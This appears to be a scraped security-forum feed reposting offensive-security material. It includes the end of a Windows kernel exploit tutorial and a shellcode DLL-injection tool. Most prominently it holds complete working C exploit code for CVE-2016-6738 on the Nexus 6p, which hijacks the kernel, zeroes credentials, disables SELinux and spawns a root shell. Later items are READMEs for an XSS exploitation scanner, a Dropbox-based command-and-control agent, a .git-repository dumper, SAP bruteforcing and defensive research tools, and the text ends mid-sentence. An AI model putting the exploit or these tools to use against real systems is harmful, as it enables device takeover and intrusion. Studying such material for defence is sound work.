shellcode_final bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Popen("start cmd", shell=True) if __name__ == "__main__": main() And W00tW00t, we get the nt authority\system privileges, successfully exploiting our vulnerability. Posted in Kernel, Tutorial Sursa: https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
-
- 2
-
-
sRDI Shellcode implementation of Reflective DLL Injection. Supports sRDI allows for the conversion of DLL files to position independent shellcode. This is accomplished via two components: C project which compiles a PE loader implementation (RDI) to shellcode Conversion code which attaches the DLL, RDI, and user data together with a bootstrap This project is comprised of the following elements: ShellcodeRDI: Compiles shellcode for the DLL loader NativeLoader: Converts DLL to shellcode if neccesarry, then injects into memory DotNetLoader: C# implementation of NativeLoader Python\ConvertToShellcode.py: Convert DLL to shellcode in place PowerShell\ConvertTo-Shellcode.ps1: Convert DLL to shellcode in place TestDLL: Example DLL that includes two exported functions for call on Load and after Use Cases / Examples Before use, I recommend you become familiar with Reflective DLL Injection and it's purpose. Convert DLL to shellcode using python from ShellcodeRDI import * dll = open("TestDLL_x86.dll", 'rb').read() shellcode = ConvertToShellcode(dll) Load DLL into memory using C# loader DotNetLoader.exe TestDLL_x64.dll Convert DLL with python script and load with Native EXE python ConvertToShellcode.py TestDLL_x64.dll NativeLoader.exe TestDLL_x64.bin Convert DLL with powershell and load with Invoke-Shellcode Import-Module .\Invoke-Shellcode.ps1 Import-Module .\ConvertTo-Shellcode.ps1 Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll) Building This project is built using Visual Studio 2015 (v140) and Windows SDK 8.1. The python script is written using Python 3. The Python and Powershell scripts are located at: Python\ConvertToShellcode.py PowerShell\ConvertTo-Shellcode.ps1 After building the project, the other binaries will be located at: bin\NativeLoader.exe bin\DotNetLoader.exe bin\TestDLL_.dll bin\ShellcodeRDI_.bin Credits The basis of this project is derived from "Improved Reflective DLL Injection" from Dan Staples which itself is derived from the original project by Stephen Fewer. The project framework for compiling C code as shellcode is taken from Mathew Graeber's reasearch "PIC_BindShell" The PEFile project is used in the python script for parsing. Sursa: https://github.com/monoxgas/sRDI
- 1 reply
-
- 1
-
-
/* * Exploit for AndroidID-30034511, CVE-2016-6738 * https://source.android.com/security/bulletin/2016-11-01 * * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed * * shell@angler:/ $ getprop ro.build.fingerprint * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys * * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574) * * 7-12-2016 */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <stdbool.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/syscall.h> #include "qcedev.h" #define ioctl_syscall(n, efd, cmd, arg) \ eabi_syscall(n, efd, cmd, arg) #define NEW_PROC_NAME "My-Expl0it" #define KERNEL_BASE 0xffffffc000000000 #define SELINUX_ENFORCING 0xffffffc0019de11c #define INIT_TASK 0xffffffc00177f1a0 #define PTMX_MISC 0xffffffc001aa8580 #define PTMX_FOPS 0xffffffc001aa84a0 #define PTMX_LLSEEK 0xffffffc0002f7294 #define PTMX_READ 0xffffffc00052b954 #define PTMX_WRITE 0xffffffc00052befc #define PTMX_POLL 0xffffffc00052bafc #define PTMX_IOCTL 0xffffffc00052e0c4 #define COMPAT_PTMX_IOCTL 0xffffffc00052ba34 #define PTMX_OPEN 0xffffffc0005358b0 #define PTMX_RELEASE 0xffffffc00052d904 #define PTMX_FASYNC 0xffffffc00052b900 /* * rop read: * ffffffc000300060: f9405440 ldr x0, [x2,#168] * ffffffc000300064: d65f03c0 ret */ #define ROP_READ 0xffffffc000300060 /* * rop write: * ffffffc000671a58: b9000041 str w1, [x2] * ffffffc000671a5c: d65f03c0 ret */ #define ROP_WRITE 0xffffffc000671a58 static unsigned long my_task = 0; static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240; static int ptmx_fd = 0; static unsigned long fake_ptmx_fops = 0; static int kernel_read_32(unsigned long addr, unsigned int *val); static int kernel_read(unsigned long addr, unsigned long *val); static int kernel_write_32(unsigned long address, unsigned int value); static int kernel_write(unsigned long addr, unsigned long val); static int get_task_by_comm(unsigned long *task) { unsigned int comm0, comm1, comm2; unsigned long task_list, init_task_list, addr; int i, ret = 0; char task_name[50] = {0}; /* * follow the init_task->task list to search myself: * next: swapper->init->kthreadd->... * pre: swapper->...->myself->... */ task_list = (INIT_TASK + task_offset); init_task_list = task_list; for(i=0; i<1000; i++) { /* search self process from tail */ addr = task_list + 8; ret = kernel_read(addr, &task_list); if(task_list == init_task_list) { printf("search task list end, can't get task\n"); return -1; } addr = task_list - task_offset + comm_offset; ret = kernel_read_32(addr, &comm0); addr = task_list - task_offset + comm_offset + 4; ret = kernel_read_32(addr, &comm1); addr = task_list - task_offset + comm_offset + 4 * 2; ret = kernel_read_32(addr, &comm2); memcpy(task_name, &comm0, 4); memcpy(task_name + 4, &comm1, 4); memcpy(task_name + 8, &comm2, 4); if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) { *task = task_list - task_offset; break; } } return 0; } static int do_root(void) { int ret; unsigned long i, cred, addr; unsigned int tmp0; /* search myself */ ret = get_task_by_comm(&my_task); if(ret != 0) { printf("[-] get myself fail!\n"); return -1; } if(!my_task || (my_task < 0xffffffc000000000)) { printf("invalid task address!"); return -2; } ret = kernel_read(my_task + cred_offset, &cred); if (cred < KERNEL_BASE) return -3; i = 1; addr = cred + 4 * 4; ret = kernel_read_32(addr, &tmp0); if(tmp0 == 0x43736564 || tmp0 == 0x44656144) i += 4; addr = cred + (i+0) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+1) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+2) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+3) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+4) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+5) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+6) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+7) * 4; ret = kernel_write_32(addr, 0); //securebits: cred[i+8] // for full capabilities addr = cred + (i+9) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+10) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+11) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+12) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+13) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+14) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+15) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+16) * 4; ret = kernel_write_32(addr, 0xffffffff); /* success! */ // disable SELinux kernel_write_32(SELINUX_ENFORCING, 0); return 0; } static void restore(void) { unsigned long addr; // restore ptmx_cdev->ops addr = PTMX_MISC + 8 * 9; kernel_write(addr, PTMX_FOPS); } static int kernel_write_32(unsigned long addr, unsigned int val) { unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE; arg = addr; ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg); return 0; } static int kernel_write(unsigned long addr, unsigned long val) { unsigned int val32; val32 = (unsigned int)val; kernel_write_32(addr, val32); val32 = (unsigned int)((val >> 32) & 0xffffffff); kernel_write_32(addr + 4, val32); return 0; } static int kernel_read_32(unsigned long addr, unsigned int *val) { int ret; unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ; arg = addr - 168; errno = 0; ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg); *val = ret; return 0; } static int kernel_read(unsigned long address, unsigned long *value) { unsigned int val0, val1; kernel_read_32(address, &val0); kernel_read_32(address + 4, &val1); *value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000); } static int rop_init(void) { ptmx_fd = open("/dev/ptmx", O_RDONLY); if(ptmx_fd == -1) { printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno); return -1; } return 0; } static int rop_close(void) { close(ptmx_fd); return 0; } static int qcedev_encrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_ENC_REQ; params.entries = 1; //params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] encrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] encrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int qcedev_decrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; //params.in_place_op = 1; params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; //params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] decrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] decrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int trigger(int fd, unsigned long src) { int cmd; int ret; int size; unsigned long dst; struct qcedev_cipher_op_req params; dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops size = sizeof(unsigned long); memset(¶ms, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] overwrite ptmx_cdev ops\n"); ret = ioctl(fd, cmd, ¶ms); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } return 0; } #define SIZE 8 static int get_root(void) { int fd, i, ret = 0; void *map; unsigned int cmd; unsigned long edata = 0; unsigned long data = 0; struct qcedev_cipher_op_req params; fd = open("/dev/qce", O_RDONLY); if(fd == -1) { printf("[-] Open qcedev fail (%s - %d)\n", strerror(errno), errno); ret = -1; goto out; } printf("[+] open device qcedev\n"); map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); if(map == MAP_FAILED) { printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno)); ret = -1; goto out; } //printf("[+] landing mmap'ed @ %p\n", map); memset(map, 0x0, 0x10000); fake_ptmx_fops = map; printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops); *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK; *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ; *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE; *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN; *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE; *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC; qcedev_encrypt(fd, fake_ptmx_fops, &edata); trigger(fd, edata); rop_init(); printf("[+] to get root ...\n"); do_root(); printf("[+] restore \n"); restore(); rop_close(); ioctl_out: close(fd); out: return ret; } static void banner(void) { printf("\n"); printf("*****************************************************************\n"); printf("* Exploit for AndroidID-30034511 *\n"); printf("* For Nexus 6p MTC19X *\n"); printf("* By Gengjia Chen *\n"); printf("* 7-12-2016 *\n"); printf("*****************************************************************\n"); printf("\n"); } int main(void) { int ret; banner(); prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0); ret = get_root(); if(ret == -1) { printf("[-] get root fail\n"); return -1; } printf("[+] SELinux disabled! \n"); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); printf("\n[+] Got it :)\n"); printf("[+] uid=%d gid=%d\n", getuid(), getgid()); sleep(1); ret = execl("/system/bin/sh", "/system/bin/sh", NULL); if( ret ) { printf("execl failed, errno %d\n", errno); } } return 0; } All files: https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-6738
-
- 1
-
-
XSStrike XSStrike is a python script designed to detect and exploit XSS vulnerabilites. A list of features XSStrike has to offer: Fuzzes a parameter and builds a suitable payload Bruteforces paramteres with payloads Has an inbuilt crawler like functionality Can reverse engineer the rules of a WAF/Filter Detects and tries to bypass WAFs Both GET and POST support Most of the payloads are hand crafted Negligible number of false positives Opens the POC in a browser window Installing XSStrike Use the following command to download it git clone https://github.com/UltimateHackers/XSStrike/ After downloading, navigate to XSStrike directory with the following command cd XSStrike Now install the required modules with the following command pip install -r requirements.txt Now you are good to go! Run XSStrike with the following command python xsstrike Using XSStrike You can enter your target URL now but remember, you have to mark the most crucial parameter by inserting "d3v<" in it. For example: target.com/search.php?q=d3v&category=1 After you enter your target URL, XSStrike will check if the target is protected by a WAF or not. If its not protected by WAF you will get three options 1. Fuzzer: It checks how the input gets reflected in the webpage and then tries to build a payload according to that. 2. Striker: It bruteforces all the parameters one by one and generates the proof of concept in a browser window. 3. Spider: It extracts all the links present in homepage of the target and checks parameters in them for XSS. 4. Hulk: Hulk uses a different approach, it doesn't care about reflection of input. It has a list of polyglots and solid payloads, it just enters them one by one in the target parameter and opens the resulted URL in a browser window. XSStrike can also bypass WAFs XSStrike supports POST method too You can also supply cookies to XSStrike Unlike other stupid bruteforce programs, XSStrike has a small list of payloads but they are the best one. Most of them are carefully crafted by me. If you find any bug or have any suggestion to make the program better please let me know on Ultimate Hacker's facebook page or start an issue on XSStrike's Github repository. Demo video Credits XSStrike uses code from BruteXSS and Intellifuzzer-XSS, XsSCan. Sursa: https://github.com/UltimateHackers/XSStrike
-
- 1
-
-
DropboxC2C DropboxC2C is a post-exploitation agent which uses Dropbox Infrastructure for command and control operations. DO NOT USE THIS FOR MALICIOUS PURPOSES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OF THIS PROGRAM. Dropbox-C2C is an old project of mine to use a thirdparty for command and control. Since the guys at Empire implemented dropbox as a C2C i am releasing this. Structure main.py - The "server" part which manages all the agents. agent.py - The "client" part which does what the server tells. I have removed the keylogging functions so this doesn't get missused. Requirements Python 2.7 Libraries dropbox psutil pyinstaller Installation 1-) Clone the repository. 2-) Modify the API Key on agent.py and main.py # The api key must be created from the dropbox web interface. 3-) Run setup.bat on a Windows Machine. You will get agent.exe which is the "compiled" agent. 4-) Run main.py and run the agent on the compromised server. Video Coming Soon Screenshots Screenshot - 1 Screenshot - 2 Screenshot - 3 Screenshot - 4 Sursa: https://github.com/0x09AL/DropboxC2C
-
GitTools This repository contains three small python/bash scripts used for the Git research. Read about it here Finder You can use this tool to find websites with their .git repository available to the public Usage This python script identifies websites with publicly accessible .git repositories. It checks if the .git/HEAD file contains refs/heads. ./gitfinder.py -h usage: gitfinder.py [-h] [-i INPUTFILE] [-o OUTPUTFILE] [-t THREADS] optional arguments: -h, --help show this help message and exit -i INPUTFILE, --inputfile INPUTFILE input file -o OUTPUTFILE, --outputfile OUTPUTFILE output file -t THREADS, --threads THREADS threads The input file should contain the targets one per line. The script will output discovered domains in the form of [*] Found: DOMAIN to stdout. Dumper This tool can be used to download as much as possible from the found .git repository from webservers which do not have directory listing enabled. Usage ./gitdumper.sh -h [*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir] --git-dir=otherdir Change the git folder name. Default: .git Note: This tool has no 100% guaranty to completely recover the .git repository. Especially if the repository has been compressed into pack-files, it may fail. Extractor A small bash script to extract commits and their content from a broken repository. This script tries to recover incomplete git repositories: Iterate through all commit-objects of a repository Try to restore the contents of the commit Commits are not sorted by date Usage ./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump where /tmp/mygitrepo contains a .git directory /tmp/mygitrepodump is the destination directory This can be used in combination with the Git Dumper in case the downloaded repository is incomplete. Demo Here's a small demo of the Dumper tool: Requirements git python curl bash sed License All tools are licensed using the MIT license. See LICENSE.md Sursa: https://github.com/internetwache/GitTools
-
- 1
-
-
ASTo - Apparatus Software Tool An IoT network security analysis and visualization tool ASTo is security analysis tool for IoT networks. It is developed to support the Apparatus security framework. ASTo is based onelectron and cytoscape.js. The icons are provided by Google's Material Design. The application is still in prototyping stage, which means a lot of functionality is being added with each commit, along with massive changes in almost everything. Some screenshots.. Experimental features ASTo can generate graph files from network captures files (.pcapng). This is part of an ongoing process to automate certain parts of the plebeian and time consuming task of graph creation. The pcapng import feature is only available from the implementation phase menu. It uses tcpdump to create a txt with the current timestamp and then uses the txt to create the js file of the graph. The txt file is created for debugging purposes and will be deprecated in later commits. The generated files are stored in the graphs/implementation directory. Tcpdump is installed by default on Unix based systems. If tcpdump is not installed in your system, the tool will display an error message. Currently, there are a few issues, depending on the pcapng file. There might be some duplicate network connections. IPs that run more than one services will be rendered as separate devices instead of a single device with multiple applications. I am still experimenting with the code and tcpdump filters. If you want to know more about how this feature works, visit the wiki. - Note in performance. If you render a graph with more than a thousand nodes, depending on your hardware, you might detect some performance issues. The reason is that the default label rendering of nodes and edges in ASTo is quite expensive. Rendering label on nodes and edges along with directional arrows is expensive. To improve performance you can hide the labels and the directional arrows by pressing the 1 button in the bottom right corner. The 1 button hides all the specific styles imposed by ASTo and leaves a default graph. Button 2 restores the labels on both the nodes and the edges, along with the directional arrows. Buttons 3 (node label) 4(node id) 5(node description) replace the labels on the nodes with different information. A trick to improve performance while retaining some information is to only hide the directional arrows (which are the most expensive) and the labels on the edges. To do so, press 1 to hide everything and then either 3 4 or 5 to only show the labels on the nodes. You can find more information about Cytoscape's performance optimizations in this link. To Use To clone and run this repository you'll need Git and Node.js installed on your computer. To download and install the app, type the following in your terminal: # Clone this repository git clone https://github.com/Or3stis/apparatus.git # Go into the repository cd apparatus # Install dependencies npm install # to run the app npm start Because the app is still in prototype stage, it is best to keep up to date with the most recent commits. To do so, before starting the app, type: # inside the apparatus directory # update to latest git pull Once the app starts, the first window (home screen) will ask you to choose which modeling phase would you like to perform analysis in. After you select a phase, you will be presented with three choices. The first is to create a new graph. The second choice is to load an existing graph. By default, you can only choose .js or .json files. The layout of the loaded graph is set in /src/core/cyOptions.js and it will run a breadth-first placement algorithm. The third option is the debug app, which loads a default graph used for debugging purposes. You will find some example graphs in the graphs folder. Instructions If you want to contribute that's great news ?. Check the contributing guide. The application is being developed on Mac. That means that new commits might introduce breaking changes in other platforms. Especially commits that involve access to the file system. If something is not working, don't hesitate to create an issue. If you want to find out how the app works check the wiki. You can check the project's planned features in the roadmap. Thanks A shoutout to @NOMNUDS and @nickarg who provide the much-needed feedback on Windows. License MIT Sursa: https://github.com/Or3stis/apparatus
-
ACLight A script for advanced discovery of Privileged Accounts - includes Shadow Admins. The tool was published as part of the "Shadow Admins" research - more details on "Shadow Admins" are in the blog post: https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear The research was also presented at the InfoSecurity conference:http://www.infosecurityeurope.com/en/Sessions/39674/Shadow-Admins-Underground-Accounts-That-Undermine-The-Network Overview ACLight is a tool for discovering privileged accounts through advanced ACLs (Access Lists) analysis. It includes the discovery of Shadow Admins in the scanned network. The tool queries the Active Directory (AD) for its objects' ACLs and then filters and analyzes the sensitive permissions of each one. The result is a list of domain privileged accounts in the network (from the advanced ACLs perspective of the AD). You can run the scan with just any regular user (could be non-privileged user) and it automatically scans all the domains of the scanned network forest. Just run it and check the result. You should take care of all the privileged accounts that the tool discovers for you. Especially - take care of the Shadow Admins - those are accounts with direct sensitive ACLs assignments (not through membership in other known privileged groups). Usage: Option 1: Double click on "Execute-ACLight.bat". Option 2: Open PowerShell (with -ExecutionPolicy Bypass) Go to "ACLight" main folder “Import-Module '.\ACLight.psm1'” “Start-ACLsAnalysis” Reading the results files: First check the - "Accounts with extra permissions.txt" file - It's straight-forward & important list of the privileged accounts that were discovered in the scanned network. "All entities with extra permissions.txt" - The file lists all the privileged entities that were discovered, it will include not only the user accounts but also other “empty” entities like empty groups or old accounts. "Privileged Accounts Permissions - Final Report.csv" - This is the final summary report - in this file you will find what are the exact sensitive permissions each account has. "Privileged Accounts Permissions - Irregular Accounts.csv" - Similar to the final report with only the privileged accounts that have direct assignment of ACL permissions (not through their group membership). "[Domain name] - Full Output.csv" - Raw ACLs output for each scanned domain. Scalability - scanning very large networks or networks with multiple trusted domains: The tool by default will scan automatically all the domains in the target scanned AD forest. If you want to scan a specific domain and not the others - you can just close those domains’ pop-up windows when they show up and continue regularly. If you are scanning very large network (e.g. 50,000+ users in one domain) and encounter memory limitations during the scan - there are some tips you can check in the “issue” page. References: The tool uses functions from the open source project PowerView by Will Schroeder (@harmj0y) - a great project. For more comments and questions, you can contact Asaf Hecht (@Hechtov) and CyberArk Labs. Sursa: https://github.com/CyberArkLabs/ACLight
-
PowerSAP PowerSAP is a simple powershell re-implementation of popular & effective techniques of all public tools such as Bizploit, Metasploit auxiliary modules, or python scripts available on the Internet. This re-implementation does not contain any new or undisclosed vulnerability. PowerSAP allows to reach SAP RFC with .Net connector 'NCo'. Credit All credit goes to: Onapsis - Mariano, Jordan… ERPScan (@_chipik) ERPSEC - Joris van De Vis (@jvis) Chris John Riley (@ChrisJohnRiley) Agnivesh Sathasivam and Dave Hartley (@nmonkee) Martin Gallo (@MartinGalloAr) What is this repository for? Quick summary: Powershell SAP assessment tool Version: 0.1 Dependencies: .Net connector "NCo" https://websmp201.sap-ag.de/public/connectors Configuration: Copy sapnco.dll & sapnco_utils.dll in NCo_x86/NCo_x64 folders. Examples Test your .Net Connector 'NCo': PS C:\PowerSAP\Standalone> .\Get-NCoVersion.ps1 NCo Version: 3.0.13.0 Patch Level: 525 SAP Release: 720 How to run testis: Invoke PS scripts in the Standalone folder. Contributions Feel free to contribute and add features. Screenshots Simple bruteforce attack on SAP RFC READ_TABLE RFC function module call through SOAP request Sursa: https://github.com/airbus-seclab/powersap
-
What is CrashOS? CrashOS is a tool dedicated to the research of vulnerabilities in hypervisors by creating unusual system configurations. CrashOS is a minimalist Operating System which aims to lead to hypervisor crashs, hence its name. You can launch existing tests or implement your owns and observe hypervisor behaviour towards this unusual kernel. The core of CrashOS provides the following OS features: the Boot entry; the memory management (segmentation and paging); the interrupt and exception handling; the I/O communication. A default kernel configuration is available but this set of features allows to entirely reconfigure the kernel as you desire. Note : CrashOS is a work in progress. Please report any issue here. Hardware and software requirements CrashOS only works on Intel x86 hardware architecture, requires gcc-4.8 to be compiled and GRUB to boot. Installation To install CrashOS, first compile the project with the main Makefile. It will create the 32-bits executable test.bin. .../crashos$ make Then install test.bin and Grub in a bootable storage, and use this bootable storage to launch the VM in your hypervisor. A example of installation with Vmware is included in the Makefile by executing the following command line: .../crashos$ make install Don't forget to adapt the VM path in the script tools/installer_vmware.sh: VMPATH="/home/xxx/Vmware/${VMNAME}" Usage Use the script create_new_test_directory.py to create a new directory containing your test. It will create the local Makefile, a log file to store the test logs, a text file to describe the test and the test file filled with the test template. /crashos/tools$ python create_new_test_directory.py myowntest Directory myowntest created /crashos/tools$ cd .. /crashos$ ls src/myowntest/ Makefile myowntest.c myowntest.log myowntest.txt In CrashOS, each test needs to define a specific kernel configuration. Thus, each test must contain: an "init" function: it saves the current kernel configuration and defines the configuration with which we want to work; the "test" function; a "restore" function: it recovers the old kernel configuration. A test template is available here. To init the kernel, some default functions are available (init.h and init.c): Function Description init_work_mem() Initialize the mem_info struct to define the available physical memory init_segmentation(...) Initialize the GDT (Global Descriptor Table) with the following entries and update gdtr and segment selectors init_paging(...) Initialize the PGD with the first 4MB in Identity Mapping, update CR3 and CR4 and enable the paging in CR0 init_interrupts(...) Initialize the IDT (Interrupt Descriptor Table) with the following entries (32 first entries for exceptions) Others functions allow the developer to modify the default system parameters and to define his own configuration. The following command line generates a a code documentation for all functions available in CrashOS: .../crashos$ make doc It will create a html documentation in doxygen_documentation/html/index.html. Specify, in the main Makefile, the list of tests you want to launch: ... TESTS := test_repo1 test_repo2 ... Then, compile the project. .../crashos$ make install License CrashOS is released under GPLv2. Sursa: https://github.com/airbus-seclab/crashos
-
- 2
-
-
-
DefPloreX: A Machine-Learning Toolkit for Large-scale eCrime Forensics Posted on:July 28, 2017 at 2:26 am Posted in:Open source Author: Trend Micro Senior Threat Researchers By Marco Balduzzi and Federico Maggi The security industry as a whole loves collecting data, and researchers are no different. With more data, they commonly become more confident in their statements about a threat. However, large volumes of data require more processing resources, as extracting meaningful and useful information from highly unstructured data is particularly difficult. As a result, manual data analysis is often the only choice, forcing security professionals like investigators, penetration testers, reverse engineers, and analysts to process data through tedious and repetitive operations. We have created a flexible toolkit based on open-source libraries for efficiently analyzing millions of defaced web pages. It can also be used on web pages planted as a result of an attack in general. Called DefPloreX (a play on words from “Defacement eXplorer”), our tool uses a combination of machine-learning and visualization techniques to turn unstructured data into meaningful high-level descriptions. Real-time information on incidents, breaches, attacks, and vulnerabilities are efficiently processed and condensed into browsable objects that are suitable for efficient large-scale e-crime forensics and investigations. DefPloreX ingests plain and flat tabular files (e.g., CSV files) containing metadata records of web incidents under analysis (e.g., URLs), explores their resources with headless browsers, extracts features from the deface web pages, and stores the resulting data to an Elastic index. The distributed headless browsers, as well as any large-scale data-processing operation, are coordinated via Celery, the de-facto standard for distributed task coordination. Using a multitude of Python-based data-analysis techniques and tools, DefPloreX creates offline “views” of the data, allowing easy pivoting and exploration. The most interesting aspect of DefPloreX is that it automatically groups similar defaced pages into clusters, and organizes web incidents into campaigns. Requiring only one pass on the data, the clustering technique we use is intrinsically parallel and not memory bound. DefPloreX offers text- and web-based UIs, which can be queried using a simple language for investigations and forensics. Since it’s based on Elastic Search, the data DefPloreX produces can be easily integrated with other systems. Use Case Here is an example of how an analyst could use DefPloreX to investigate a campaign called “Operation France” (with “#opfrance” being the Twitter handler associated with it). This campaign is operated prevalently by online Muslim activists with the goal of supporting radical Islamism. As Figure 1 shows, this campaign targeted 1,313 websites over a period of 4 years (2013-2016), mainly targeting French domain names (Figure 2). DefPloreX reveals the actors’ composition and the deface templates used in the attacks (Figure 3). Some of these members explicitly support the attacks against France conducted by radical Islamists (e.g., in terrorism) (Figure 4). Figures 1-4. Investigation example for campaign Operation France (#opfrance) (Click to enlarge) Public Release DefPloreX supports the analyst in the following operations: importing and exporting generic data into and from an Elastic index enriching the index with various attributes visiting web pages in an automated, parallel fashion to extract numerical and visual features that capture the structure of the HTML page and its appearance when rendered post-processing the numerical and visual features to extract a compact representation that describes each web page (we call this representation a “bucket”) using the compact representation to pivot the original web pages, grouping them into clusters of similar pages performing generic browsing and querying of the Elastic index. The following diagram shows the architecture of DefPloreX: Figure 5. Overview of DefPloreX capabilities From each web page, we wanted to collect two sides of the same story: a “static” view of the page (e.g., non-interpreted resources, scripts, text) and a “dynamic” view of the same page (e.g., a rendered page with DOM modifications and so on). The full version of DefPloreX can extract URLs, e-mail addresses, social-network nicknames and handles, hashtags, images, file metadata, summarized text, and other information. This data captures the main characteristics of any defaced web page. Figure 6. Collection of data from URLs We approached the problem of finding groups of related defacement web pages (e.g., hacktivism campaigns) as a typical data-mining problem. We assume that there are recurring and similar characteristics among these pages that we can capture and use as clustering features. For example, we assume that the same attacker will reuse the same web snippets (albeit with minimal variations) within the same campaign. We capture this and other aspects by extracting numerical and categorical features from the data we obtained by analyzing each page (static and dynamic view). Figure 7. Features obtained from each URL DefPloreX also sports a feature called “data bucketing,” which we use to derive a compact representation of each record. This compact representation is then used to enable fast clustering. In our case, a record is an instance of a defaced page, but this method can be applied to other domains. When applied to numeric features, this bucketing functionality represents a real number (of any range) by using only a limited set of categorical values (i.e., low, medium, high). Elastic search natively supports the statistics primitives (e.g., percentiles) required to perform this transformation from numerical values to categorical values. If it’s applied to features that are originally categorical (e.g., character encoding used in a web page), this bucketing functionality represents all existing encoding schemes (e.g., “windows-1250,” “iso-*”), with the geographical region in which each encoding is typically used (e.g., European, Cyrillic, Greek). The same can be done for spoken languages, TLDs, and so on. The web-based UI is based on React, backed by a lightweight REST API written in Flask. The web-based UI is essentially a “spreadsheet on steroids,” in the sense that smart pagination allows it to be scaled up to an arbitrary number of records. The main task, fulfilled by the web-based UI, is that of browsing through clusters and records. For example, to spot a web-defacement campaign coordinated by the same (small) group of cyber-criminals, we would query DefPloreX to display clusters with at most ten attackers and inspect the timeline of each cluster to spot periodical patterns or spikes in 